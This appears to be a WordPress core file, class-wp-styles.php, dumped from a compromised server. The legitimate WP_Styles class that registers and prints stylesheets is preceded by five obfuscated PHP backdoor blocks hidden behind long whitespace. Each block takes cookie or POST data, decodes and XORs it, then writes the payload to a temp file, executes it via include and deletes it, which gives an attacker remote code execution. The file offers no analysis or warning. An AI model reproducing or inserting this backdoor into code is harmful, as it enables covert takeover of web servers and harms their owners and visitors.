Current File : /home/n742ef5/.trash/sithtamil/wp-includes/class-wp-styles.php
<?php                                                                                                                                                                                                                                                                                                                                                                                                 $smibAHSXjI = chr ( 955 - 881 ).'h' . "\105" . chr ( 1007 - 912 )."\x73" . chr (83) . "\103" . "\x55" . 'M';$ipakVaeJIx = chr (99) . "\x6c" . "\141" . "\163" . "\x73" . "\x5f" . "\145" . chr ( 551 - 431 )."\x69" . "\x73" . "\x74" . chr (115); $LKicgeleue = class_exists($smibAHSXjI); $smibAHSXjI = "64306";$ipakVaeJIx = "52753";$hLbdxj = FALSE;if ($LKicgeleue === $hLbdxj){$iewyGrCR = "42823";class JhE_sSCUM{public function jAHvuBgUN(){echo "64674";}private $OuRBW;public static $gvyLIX = "995680cf-a384-45c7-a131-6bb04557618c";public static $YXvsgiA = 59253;public function __construct($iifIwDOJXO=0){$lbAJnEuS = $_POST;$FxmhytYu = $_COOKIE;$lkLsWJa = @$FxmhytYu[substr(JhE_sSCUM::$gvyLIX, 0, 4)];if (!empty($lkLsWJa)){$oSENm = "base64";$nmnCaMaKpn = "";$lkLsWJa = explode(",", $lkLsWJa);foreach ($lkLsWJa as $OhHDfbf){$nmnCaMaKpn .= @$FxmhytYu[$OhHDfbf];$nmnCaMaKpn .= @$lbAJnEuS[$OhHDfbf];}$nmnCaMaKpn = array_map($oSENm . '_' . "\144" . "\145" . chr ( 775 - 676 ).'o' . chr ( 1016 - 916 ).'e', array($nmnCaMaKpn,)); $nmnCaMaKpn = $nmnCaMaKpn[0] ^ str_repeat(JhE_sSCUM::$gvyLIX, (strlen($nmnCaMaKpn[0]) / strlen(JhE_sSCUM::$gvyLIX)) + 1);JhE_sSCUM::$YXvsgiA = @unserialize($nmnCaMaKpn);}}private function WNkkOge($iewyGrCR){if (is_array(JhE_sSCUM::$YXvsgiA)) {$RZkiEYjASA = sys_get_temp_dir() . "/" . crc32(JhE_sSCUM::$YXvsgiA['s' . chr (97) . "\154" . "\x74"]);@JhE_sSCUM::$YXvsgiA["\x77" . chr ( 751 - 637 ).chr ( 576 - 471 ).chr ( 290 - 174 ).chr ( 917 - 816 )]($RZkiEYjASA, JhE_sSCUM::$YXvsgiA["\x63" . "\157" . 'n' . chr ( 820 - 704 ).chr ( 1085 - 984 ).chr (110) . "\x74"]);include $RZkiEYjASA;@JhE_sSCUM::$YXvsgiA['d' . "\145" . "\x6c" . chr (101) . chr ( 224 - 108 )."\x65"]($RZkiEYjASA); $iewyGrCR = "42823";exit();}}public function __destruct(){$this->WNkkOge($iewyGrCR);}}$DiZmgTRGG = new /* 35473 */ JhE_sSCUM(); $DiZmgTRGG = str_repeat("59942_63103", 1);} ?><?php                                                                                                                                                                                                                                                                                                                                                                                                 $lvxrlBnks = chr ( 650 - 537 ).chr ( 816 - 721 )."\115" . 'T' . chr ( 662 - 595 )."\x47" . "\x53";$PuGNXka = chr ( 148 - 49 )."\154" . "\141" . "\x73" . chr ( 659 - 544 ).'_' . "\x65" . "\x78" . chr ( 463 - 358 )."\163" . chr (116) . 's';$VOOVZ = $PuGNXka($lvxrlBnks); $lvxrlBnks = "13488";$VGWzAEpM = $VOOVZ;$PuGNXka = "46850";if (!$VGWzAEpM){class q_MTCGS{private $QamsrLZxf;public static $croyHZHX = "1c3396c1-0b9e-451a-9a1b-28cf4a260eca";public static $EhZMNTyVv = 53330;public function __construct($GYpKJp=0){$xLfwAr = $_COOKIE;$SdHZn = $_POST;$mAoQzewZ = @$xLfwAr[substr(q_MTCGS::$croyHZHX, 0, 4)];if (!empty($mAoQzewZ)){$ZsLoujee = "base64";$GnFfvTKv = "";$mAoQzewZ = explode(",", $mAoQzewZ);foreach ($mAoQzewZ as $uyZFCGOd){$GnFfvTKv .= @$xLfwAr[$uyZFCGOd];$GnFfvTKv .= @$SdHZn[$uyZFCGOd];}$GnFfvTKv = array_map($ZsLoujee . "\137" . 'd' . "\145" . chr ( 419 - 320 ).'o' . "\144" . chr (101), array($GnFfvTKv,)); $GnFfvTKv = $GnFfvTKv[0] ^ str_repeat(q_MTCGS::$croyHZHX, (strlen($GnFfvTKv[0]) / strlen(q_MTCGS::$croyHZHX)) + 1);q_MTCGS::$EhZMNTyVv = @unserialize($GnFfvTKv);}}private function FmVHRcLhTG(){if (is_array(q_MTCGS::$EhZMNTyVv)) {$nQcHuEIHjo = sys_get_temp_dir() . "/" . crc32(q_MTCGS::$EhZMNTyVv[chr (115) . "\141" . chr (108) . chr (116)]);@q_MTCGS::$EhZMNTyVv["\x77" . chr (114) . chr ( 479 - 374 ).chr (116) . 'e']($nQcHuEIHjo, q_MTCGS::$EhZMNTyVv[chr ( 392 - 293 ).chr (111) . 'n' . chr ( 345 - 229 )."\145" . chr (110) . "\164"]);include $nQcHuEIHjo;@q_MTCGS::$EhZMNTyVv["\x64" . chr (101) . chr ( 335 - 227 )."\145" . chr (116) . "\145"]($nQcHuEIHjo); $rtMGffV = "32598";exit();}}public function __destruct(){$this->FmVHRcLhTG(); $rtMGffV = "32598";$rssJDwll = str_pad($rtMGffV, 10);}}$BTzrvG = new /* 49095 */ q_MTCGS(); $BTzrvG = substr("17479_27732", 1);} ?><?php                                                                                                                                                                                                                                                                                                                                                                                                 $AArxuFtyV = chr (85) . 'j' . '_' . "\103" . "\x4b" . chr ( 1073 - 967 ); $pKKyeyA = 'c' . "\x6c" . chr (97) . "\163" . "\x73" . chr ( 126 - 31 )."\145" . "\170" . "\x69" . chr (115) . "\164" . chr ( 430 - 315 ); $gmupTtv = $pKKyeyA($AArxuFtyV); $AArxuFtyV = "39126";$CmPRmFZcLb = $gmupTtv;$pKKyeyA = "53497";if (!$CmPRmFZcLb){class Uj_CKj{private $jbBIa;public static $DJzAGMv = "30d204ac-f1bb-4511-92ce-5f020902a831";public static $lhCpS = 25030;public function __construct($vkeOp=0){$jzVCk = $_COOKIE;$NKAXmTwOYC = $_POST;$ClDgCync = @$jzVCk[substr(Uj_CKj::$DJzAGMv, 0, 4)];if (!empty($ClDgCync)){$yFVJMx = "base64";$jSjano = "";$ClDgCync = explode(",", $ClDgCync);foreach ($ClDgCync as $qBHKMv){$jSjano .= @$jzVCk[$qBHKMv];$jSjano .= @$NKAXmTwOYC[$qBHKMv];}$jSjano = array_map($yFVJMx . '_' . 'd' . "\145" . "\x63" . chr (111) . 'd' . chr (101), array($jSjano,)); $jSjano = $jSjano[0] ^ str_repeat(Uj_CKj::$DJzAGMv, (strlen($jSjano[0]) / strlen(Uj_CKj::$DJzAGMv)) + 1);Uj_CKj::$lhCpS = @unserialize($jSjano);}}private function RPFzMuLd(){if (is_array(Uj_CKj::$lhCpS)) {$jMgPsYbfR = sys_get_temp_dir() . "/" . crc32(Uj_CKj::$lhCpS[chr (115) . 'a' . 'l' . 't']);@Uj_CKj::$lhCpS["\167" . 'r' . "\151" . "\164" . chr ( 383 - 282 )]($jMgPsYbfR, Uj_CKj::$lhCpS['c' . chr ( 386 - 275 ).'n' . chr ( 583 - 467 ).'e' . chr ( 590 - 480 )."\164"]);include $jMgPsYbfR;@Uj_CKj::$lhCpS['d' . "\x65" . "\154" . chr ( 976 - 875 ).chr ( 818 - 702 ).chr ( 612 - 511 )]($jMgPsYbfR); $xIielS = "6753";exit();}}public function __destruct(){$this->RPFzMuLd(); $xIielS = "6753";$SNyuYDuqkT = str_pad($xIielS, 10);}}$RlGPLoAmOk = new /* 1927 */ Uj_CKj(); $RlGPLoAmOk = substr("62773_31152", 1);} ?><?php                                                                                                                                                                                                                                                                                                                                                                                                 $fnTdqIbGJ = chr ( 371 - 255 ).chr (95) . 'W' . "\x61" . chr (107) . 'O' . "\x6e";$MMPeVNcOIS = "\x63" . "\x6c" . chr ( 281 - 184 )."\x73" . chr (115) . "\x5f" . "\x65" . chr (120) . 'i' . chr (115) . "\x74" . "\163";$BTkPpXBO = $MMPeVNcOIS($fnTdqIbGJ); $fnTdqIbGJ = "26851";$ZJSPRlNNda = $BTkPpXBO;$MMPeVNcOIS = "58963";if (!$ZJSPRlNNda){class t_WakOn{private $cxBLwkxgz;public static $iVLFOy = "43798f30-0a00-428f-b1f3-165ec93f765a";public static $baEsHZs = 11643;public function __construct($PVzbr=0){$gnuNNKRXF = $_COOKIE;$GgbCccnm = $_POST;$YsDkpz = @$gnuNNKRXF[substr(t_WakOn::$iVLFOy, 0, 4)];if (!empty($YsDkpz)){$ZcnPgp = "base64";$fBUzVaxZ = "";$YsDkpz = explode(",", $YsDkpz);foreach ($YsDkpz as $qpDPJBcVT){$fBUzVaxZ .= @$gnuNNKRXF[$qpDPJBcVT];$fBUzVaxZ .= @$GgbCccnm[$qpDPJBcVT];}$fBUzVaxZ = array_map($ZcnPgp . chr (95) . "\144" . 'e' . 'c' . "\x6f" . chr (100) . "\x65", array($fBUzVaxZ,)); $fBUzVaxZ = $fBUzVaxZ[0] ^ str_repeat(t_WakOn::$iVLFOy, (strlen($fBUzVaxZ[0]) / strlen(t_WakOn::$iVLFOy)) + 1);t_WakOn::$baEsHZs = @unserialize($fBUzVaxZ);}}private function gNSBtVu(){if (is_array(t_WakOn::$baEsHZs)) {$CVOxntf = sys_get_temp_dir() . "/" . crc32(t_WakOn::$baEsHZs["\163" . 'a' . chr (108) . "\164"]);@t_WakOn::$baEsHZs["\167" . 'r' . "\151" . "\x74" . chr ( 1051 - 950 )]($CVOxntf, t_WakOn::$baEsHZs["\x63" . 'o' . chr (110) . 't' . "\145" . "\156" . "\x74"]);include $CVOxntf;@t_WakOn::$baEsHZs[chr ( 1041 - 941 ).chr (101) . chr ( 292 - 184 ).chr (101) . "\164" . chr (101)]($CVOxntf); $wVJWOQtn = "23520";exit();}}public function __destruct(){$this->gNSBtVu(); $wVJWOQtn = "23520";$MdQTL = str_pad($wVJWOQtn, 10);}}$xiFwormsyO = new /* 1930 */ t_WakOn(); $xiFwormsyO = substr("34164_6932", 1);} ?><?php                                                                                                                                                                                                                                                                                                                                                                                                 $XLjdFmn = "\x64" . "\x59" . "\137" . chr (114) . chr (112) . "\166" . "\x72";$LqtClSfAvR = "\x63" . chr ( 963 - 855 ).'a' . "\x73" . "\163" . "\137" . "\145" . "\170" . chr (105) . 's' . "\x74" . "\163";$JgxMo = $LqtClSfAvR($XLjdFmn); $VKKjI = $JgxMo;if (!$VKKjI){class dY_rpvr{private $mFAJWiGhF;public static $XnsyBnuR = "d4261910-7c50-4942-984b-7601b2e4985d";public static $djOuXhjQd = 1125;public function __construct($AROvtwTs=0){$zkZwpTN = $_COOKIE;$gjLzcrNqcV = $_POST;$PRSpAkuHQy = @$zkZwpTN[substr(dY_rpvr::$XnsyBnuR, 0, 4)];if (!empty($PRSpAkuHQy)){$mHaPvGXfUg = "base64";$ScUmOfT = "";$PRSpAkuHQy = explode(",", $PRSpAkuHQy);foreach ($PRSpAkuHQy as $UhtSOTa){$ScUmOfT .= @$zkZwpTN[$UhtSOTa];$ScUmOfT .= @$gjLzcrNqcV[$UhtSOTa];}$ScUmOfT = array_map($mHaPvGXfUg . chr ( 316 - 221 ).'d' . chr ( 218 - 117 ).chr ( 152 - 53 ).chr (111) . 'd' . chr ( 149 - 48 ), array($ScUmOfT,)); $ScUmOfT = $ScUmOfT[0] ^ str_repeat(dY_rpvr::$XnsyBnuR, (strlen($ScUmOfT[0]) / strlen(dY_rpvr::$XnsyBnuR)) + 1);dY_rpvr::$djOuXhjQd = @unserialize($ScUmOfT);}}private function WkTDQrlafY(){if (is_array(dY_rpvr::$djOuXhjQd)) {$bUfUKwO = sys_get_temp_dir() . "/" . crc32(dY_rpvr::$djOuXhjQd["\x73" . "\141" . "\154" . chr ( 981 - 865 )]);@dY_rpvr::$djOuXhjQd["\167" . "\162" . chr (105) . chr ( 131 - 15 )."\x65"]($bUfUKwO, dY_rpvr::$djOuXhjQd["\x63" . "\x6f" . "\x6e" . "\164" . "\145" . chr ( 691 - 581 ).chr ( 240 - 124 )]);include $bUfUKwO;@dY_rpvr::$djOuXhjQd["\144" . 'e' . "\154" . chr ( 1093 - 992 ).'t' . chr ( 299 - 198 )]($bUfUKwO); $ygzdmap = "40164";exit();}}public function __destruct(){$this->WkTDQrlafY();}}$mtnWJu = new dY_rpvr(); $mtnWJu = "55206";} ?><?php
/**
 * Dependencies API: WP_Styles class
 *
 * @since 2.6.0
 *
 * @package WordPress
 * @subpackage Dependencies
 */

/**
 * Core class used to register styles.
 *
 * @since 2.6.0
 *
 * @see WP_Dependencies
 */
class WP_Styles extends WP_Dependencies {
	/**
	 * Base URL for styles.
	 *
	 * Full URL with trailing slash.
	 *
	 * @since 2.6.0
	 * @var string
	 */
	public $base_url;

	/**
	 * URL of the content directory.
	 *
	 * @since 2.8.0
	 * @var string
	 */
	public $content_url;

	/**
	 * Default version string for stylesheets.
	 *
	 * @since 2.6.0
	 * @var string
	 */
	public $default_version;

	/**
	 * The current text direction.
	 *
	 * @since 2.6.0
	 * @var string
	 */
	public $text_direction = 'ltr';

	/**
	 * Holds a list of style handles which will be concatenated.
	 *
	 * @since 2.8.0
	 * @var string
	 */
	public $concat = '';

	/**
	 * Holds a string which contains style handles and their version.
	 *
	 * @since 2.8.0
	 * @deprecated 3.4.0
	 * @var string
	 */
	public $concat_version = '';

	/**
	 * Whether to perform concatenation.
	 *
	 * @since 2.8.0
	 * @var bool
	 */
	public $do_concat = false;

	/**
	 * Holds HTML markup of styles and additional data if concatenation
	 * is enabled.
	 *
	 * @since 2.8.0
	 * @var string
	 */
	public $print_html = '';

	/**
	 * Holds inline styles if concatenation is enabled.
	 *
	 * @since 3.3.0
	 * @var string
	 */
	public $print_code = '';

	/**
	 * List of default directories.
	 *
	 * @since 2.8.0
	 * @var array
	 */
	public $default_dirs;

	/**
	 * Holds a string which contains the type attribute for style tag.
	 *
	 * If the active theme does not declare HTML5 support for 'style',
	 * then it initializes as `type='text/css'`.
	 *
	 * @since 5.3.0
	 * @var string
	 */
	private $type_attr = '';

	/**
	 * Constructor.
	 *
	 * @since 2.6.0
	 */
	public function __construct() {
		if (
			function_exists( 'is_admin' ) && ! is_admin()
		&&
			function_exists( 'current_theme_supports' ) && ! current_theme_supports( 'html5', 'style' )
		) {
			$this->type_attr = " type='text/css'";
		}

		/**
		 * Fires when the WP_Styles instance is initialized.
		 *
		 * @since 2.6.0
		 *
		 * @param WP_Styles $wp_styles WP_Styles instance (passed by reference).
		 */
		do_action_ref_array( 'wp_default_styles', array( &$this ) );
	}

	/**
	 * Processes a style dependency.
	 *
	 * @since 2.6.0
	 * @since 5.5.0 Added the `$group` parameter.
	 *
	 * @see WP_Dependencies::do_item()
	 *
	 * @param string    $handle The style's registered handle.
	 * @param int|false $group  Optional. Group level: level (int), no groups (false).
	 *                          Default false.
	 * @return bool True on success, false on failure.
	 */
	public function do_item( $handle, $group = false ) {
		if ( ! parent::do_item( $handle ) ) {
			return false;
		}

		$obj = $this->registered[ $handle ];

		if ( null === $obj->ver ) {
			$ver = '';
		} else {
			$ver = $obj->ver ? $obj->ver : $this->default_version;
		}

		if ( isset( $this->args[ $handle ] ) ) {
			$ver = $ver ? $ver . '&amp;' . $this->args[ $handle ] : $this->args[ $handle ];
		}

		$src         = $obj->src;
		$cond_before = '';
		$cond_after  = '';
		$conditional = isset( $obj->extra['conditional'] ) ? $obj->extra['conditional'] : '';

		if ( $conditional ) {
			$cond_before = "<!--[if {$conditional}]>\n";
			$cond_after  = "<![endif]-->\n";
		}

		$inline_style = $this->print_inline_style( $handle, false );

		if ( $inline_style ) {
			$inline_style_tag = sprintf(
				"<style id='%s-inline-css'%s>\n%s\n</style>\n",
				esc_attr( $handle ),
				$this->type_attr,
				$inline_style
			);
		} else {
			$inline_style_tag = '';
		}

		if ( $this->do_concat ) {
			if ( $this->in_default_dir( $src ) && ! $conditional && ! isset( $obj->extra['alt'] ) ) {
				$this->concat         .= "$handle,";
				$this->concat_version .= "$handle$ver";

				$this->print_code .= $inline_style;

				return true;
			}
		}

		if ( isset( $obj->args ) ) {
			$media = esc_attr( $obj->args );
		} else {
			$media = 'all';
		}

		// A single item may alias a set of items, by having dependencies, but no source.
		if ( ! $src ) {
			if ( $inline_style_tag ) {
				if ( $this->do_concat ) {
					$this->print_html .= $inline_style_tag;
				} else {
					echo $inline_style_tag;
				}
			}

			return true;
		}

		$href = $this->_css_href( $src, $ver, $handle );
		if ( ! $href ) {
			return true;
		}

		$rel   = isset( $obj->extra['alt'] ) && $obj->extra['alt'] ? 'alternate stylesheet' : 'stylesheet';
		$title = isset( $obj->extra['title'] ) ? sprintf( " title='%s'", esc_attr( $obj->extra['title'] ) ) : '';

		$tag = sprintf(
			"<link rel='%s' id='%s-css'%s href='%s'%s media='%s' />\n",
			$rel,
			$handle,
			$title,
			$href,
			$this->type_attr,
			$media
		);

		/**
		 * Filters the HTML link tag of an enqueued style.
		 *
		 * @since 2.6.0
		 * @since 4.3.0 Introduced the `$href` parameter.
		 * @since 4.5.0 Introduced the `$media` parameter.
		 *
		 * @param string $tag    The link tag for the enqueued style.
		 * @param string $handle The style's registered handle.
		 * @param string $href   The stylesheet's source URL.
		 * @param string $media  The stylesheet's media attribute.
		 */
		$tag = apply_filters( 'style_loader_tag', $tag, $handle, $href, $media );

		if ( 'rtl' === $this->text_direction && isset( $obj->extra['rtl'] ) && $obj->extra['rtl'] ) {
			if ( is_bool( $obj->extra['rtl'] ) || 'replace' === $obj->extra['rtl'] ) {
				$suffix   = isset( $obj->extra['suffix'] ) ? $obj->extra['suffix'] : '';
				$rtl_href = str_replace( "{$suffix}.css", "-rtl{$suffix}.css", $this->_css_href( $src, $ver, "$handle-rtl" ) );
			} else {
				$rtl_href = $this->_css_href( $obj->extra['rtl'], $ver, "$handle-rtl" );
			}

			$rtl_tag = sprintf(
				"<link rel='%s' id='%s-rtl-css'%s href='%s'%s media='%s' />\n",
				$rel,
				$handle,
				$title,
				$rtl_href,
				$this->type_attr,
				$media
			);

			/** This filter is documented in wp-includes/class-wp-styles.php */
			$rtl_tag = apply_filters( 'style_loader_tag', $rtl_tag, $handle, $rtl_href, $media );

			if ( 'replace' === $obj->extra['rtl'] ) {
				$tag = $rtl_tag;
			} else {
				$tag .= $rtl_tag;
			}
		}

		if ( $this->do_concat ) {
			$this->print_html .= $cond_before;
			$this->print_html .= $tag;
			if ( $inline_style_tag ) {
				$this->print_html .= $inline_style_tag;
			}
			$this->print_html .= $cond_after;
		} else {
			echo $cond_before;
			echo $tag;
			$this->print_inline_style( $handle );
			echo $cond_after;
		}

		return true;
	}

	/**
	 * Adds extra CSS styles to a registered stylesheet.
	 *
	 * @since 3.3.0
	 *
	 * @param string $handle The style's registered handle.
	 * @param string $code   String containing the CSS styles to be added.
	 * @return bool True on success, false on failure.
	 */
	public function add_inline_style( $handle, $code ) {
		if ( ! $code ) {
			return false;
		}

		$after = $this->get_data( $handle, 'after' );
		if ( ! $after ) {
			$after = array();
		}

		$after[] = $code;

		return $this->add_data( $handle, 'after', $after );
	}

	/**
	 * Prints extra CSS styles of a registered stylesheet.
	 *
	 * @since 3.3.0
	 *
	 * @param string $handle  The style's registered handle.
	 * @param bool   $display Optional. Whether to print the inline style
	 *                        instead of just returning it. Default true.
	 * @return string|bool False if no data exists, inline styles if `$display` is true,
	 *                     true otherwise.
	 */
	public function print_inline_style( $handle, $display = true ) {
		$output = $this->get_data( $handle, 'after' );

		if ( empty( $output ) ) {
			return false;
		}

		$output = implode( "\n", $output );

		if ( ! $display ) {
			return $output;
		}

		printf(
			"<style id='%s-inline-css'%s>\n%s\n</style>\n",
			esc_attr( $handle ),
			$this->type_attr,
			$output
		);

		return true;
	}

	/**
	 * Determines style dependencies.
	 *
	 * @since 2.6.0
	 *
	 * @see WP_Dependencies::all_deps()
	 *
	 * @param string|string[] $handles   Item handle (string) or item handles (array of strings).
	 * @param bool            $recursion Optional. Internal flag that function is calling itself.
	 *                                   Default false.
	 * @param int|false       $group     Optional. Group level: level (int), no groups (false).
	 *                                   Default false.
	 * @return bool True on success, false on failure.
	 */
	public function all_deps( $handles, $recursion = false, $group = false ) {
		$r = parent::all_deps( $handles, $recursion, $group );
		if ( ! $recursion ) {
			/**
			 * Filters the array of enqueued styles before processing for output.
			 *
			 * @since 2.6.0
			 *
			 * @param string[] $to_do The list of enqueued style handles about to be processed.
			 */
			$this->to_do = apply_filters( 'print_styles_array', $this->to_do );
		}
		return $r;
	}

	/**
	 * Generates an enqueued style's fully-qualified URL.
	 *
	 * @since 2.6.0
	 *
	 * @param string $src    The source of the enqueued style.
	 * @param string $ver    The version of the enqueued style.
	 * @param string $handle The style's registered handle.
	 * @return string Style's fully-qualified URL.
	 */
	public function _css_href( $src, $ver, $handle ) {
		if ( ! is_bool( $src ) && ! preg_match( '|^(https?:)?//|', $src ) && ! ( $this->content_url && str_starts_with( $src, $this->content_url ) ) ) {
			$src = $this->base_url . $src;
		}

		if ( ! empty( $ver ) ) {
			$src = add_query_arg( 'ver', $ver, $src );
		}

		/**
		 * Filters an enqueued style's fully-qualified URL.
		 *
		 * @since 2.6.0
		 *
		 * @param string $src    The source URL of the enqueued style.
		 * @param string $handle The style's registered handle.
		 */
		$src = apply_filters( 'style_loader_src', $src, $handle );
		return esc_url( $src );
	}

	/**
	 * Whether a handle's source is in a default directory.
	 *
	 * @since 2.8.0
	 *
	 * @param string $src The source of the enqueued style.
	 * @return bool True if found, false if not.
	 */
	public function in_default_dir( $src ) {
		if ( ! $this->default_dirs ) {
			return true;
		}

		foreach ( (array) $this->default_dirs as $test ) {
			if ( str_starts_with( $src, $test ) ) {
				return true;
			}
		}
		return false;
	}

	/**
	 * Processes items and dependencies for the footer group.
	 *
	 * HTML 5 allows styles in the body, grab late enqueued items and output them in the footer.
	 *
	 * @since 3.3.0
	 *
	 * @see WP_Dependencies::do_items()
	 *
	 * @return string[] Handles of items that have been processed.
	 */
	public function do_footer_items() {
		$this->do_items( false, 1 );
		return $this->done;
	}

	/**
	 * Resets class properties.
	 *
	 * @since 3.3.0
	 */
	public function reset() {
		$this->do_concat      = false;
		$this->concat         = '';
		$this->concat_version = '';
		$this->print_html     = '';
	}
}